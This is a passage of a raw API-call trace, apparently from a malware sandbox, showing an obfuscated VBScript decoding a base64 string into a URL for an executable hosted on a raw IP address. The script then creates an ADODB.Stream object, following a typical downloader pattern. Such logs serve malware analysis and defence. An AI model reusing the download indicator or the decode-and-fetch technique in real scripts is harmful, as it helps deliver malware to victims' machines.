out: pid=0x1543ec*=-1) returned 0x80020006 [0088.782] GetCurrentThreadId () returned 0xd44 [0088.782] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.782] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.783] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.783] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.783] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.783] GetCurrentThreadId () returned 0xd44 [0088.783] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.783] malloc (_Size=0x404) returned 0x11c29f0 [0088.783] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.783] malloc (_Size=0x804) returned 0x83fc220 [0088.784] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.784] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0088.784] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.784] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0088.784] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0088.784] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.784] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.784] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0088.784] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.785] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0088.785] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.785] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.785] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.785] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.785] GetCurrentThreadId () returned 0xd44 [0088.785] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.785] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.786] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.786] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.786] GetCurrentThreadId () returned 0xd44 [0088.786] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.786] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.786] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.786] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.786] GetCurrentThreadId () returned 0xd44 [0088.786] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.786] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.787] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.787] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.787] GetCurrentThreadId () returned 0xd44 [0088.787] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.787] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.787] malloc (_Size=0x804) returned 0x83fc220 [0088.787] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.787] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0088.787] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.787] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0088.788] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0088.788] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.788] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.788] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0088.788] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x470e)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x470e)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.788] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0088.788] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.788] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5546e0) returned 0x0 [0088.788] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0088.789] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.789] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.789] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5546e0) returned 0x0 [0088.789] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04208*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.789] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0088.789] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.789] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.789] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.789] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.789] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.789] GetCurrentThreadId () returned 0xd44 [0088.790] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.790] ??2@YAPAXI@Z () returned 0x11c2068 [0088.790] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d04054, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0088.790] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.790] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.790] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.790] GetCurrentThreadId () returned 0xd44 [0088.790] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.791] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.791] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.791] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.791] GetCurrentThreadId () returned 0xd44 [0088.791] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.791] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.791] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.791] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.791] GetCurrentThreadId () returned 0xd44 [0088.791] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.791] malloc (_Size=0x204) returned 0x11917e0 [0088.792] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.792] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.792] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.792] GetCurrentThreadId () returned 0xd44 [0088.792] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.792] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.792] malloc (_Size=0x804) returned 0x83fc220 [0088.792] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.792] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0088.792] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0088.792] SysStringLen (param_1=0x0) returned 0x0 [0088.792] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0088.793] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0088.793] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962bad0) returned 0x0 [0088.793] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0088.793] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962bb00) returned 0x0 [0088.793] ??2@YAPAXI@Z () returned 0x1112b18 [0088.793] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112b18) returned 0x0 [0088.793] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0088.793] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0088.793] DOMDocument:IUnknown:AddRef (This=0x1112b18) returned 0x2 [0088.793] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0088.793] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112b18) returned 0x0 [0088.793] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0088.793] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0088.793] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0088.794] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0088.794] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.794] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.794] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0088.794] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112b18) returned 0x0 [0088.794] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0088.794] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0088.794] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0088.794] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0088.794] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.794] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.794] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0088.794] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0088.794] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962bad0) returned 0x0 [0088.795] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0088.795] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0088.795] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0088.795] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.795] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154234 | out: ppvObject=0x154234*=0x11977a8) returned 0x0 [0088.795] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="baax", grfdex=0x8, pid=0x154250 | out: pid=0x154250*=1393324) returned 0x80020006 [0088.795] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="baax", grfdex=0x8, pid=0x1541a8 | out: pid=0x1541a8*=-1) returned 0x80020006 [0088.795] GetCurrentThreadId () returned 0xd44 [0088.795] IUnknown:Release (This=0x11977a8) returned 0x9 [0088.795] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.795] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.796] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.796] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.796] GetCurrentThreadId () returned 0xd44 [0088.796] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.796] ??2@YAPAXI@Z () returned 0x86bfee0 [0088.796] malloc (_Size=0x804) returned 0x83fc220 [0088.796] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.796] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.796] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.796] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0088.797] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0088.797] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.797] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, 